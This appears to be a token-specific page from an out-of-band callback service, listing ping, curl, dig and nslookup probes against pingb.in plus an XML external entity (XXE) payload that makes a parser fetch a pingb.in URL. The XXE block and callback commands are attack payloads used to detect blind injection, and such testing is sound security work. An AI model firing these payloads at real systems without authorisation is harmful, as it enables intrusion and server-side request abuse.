$ ping -c1 -p 00efdedc739ece9d812b1780d48dfe00 pingb.in
 

$ curl pingb.in/p/efdedc739ece9d812b1780d48dfe
 

$ dig efdedc739ece9d812b1780d48dfe @pingb.in
 

$ dig efdedc739ece9d812b1780d48dfe.ns.pingb.in
 

C:\> nslookup efdedc739ece9d812b1780d48dfe pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/efdedc739ece9d812b1780d48dfe">]>
    <foo>&xxe;</foo>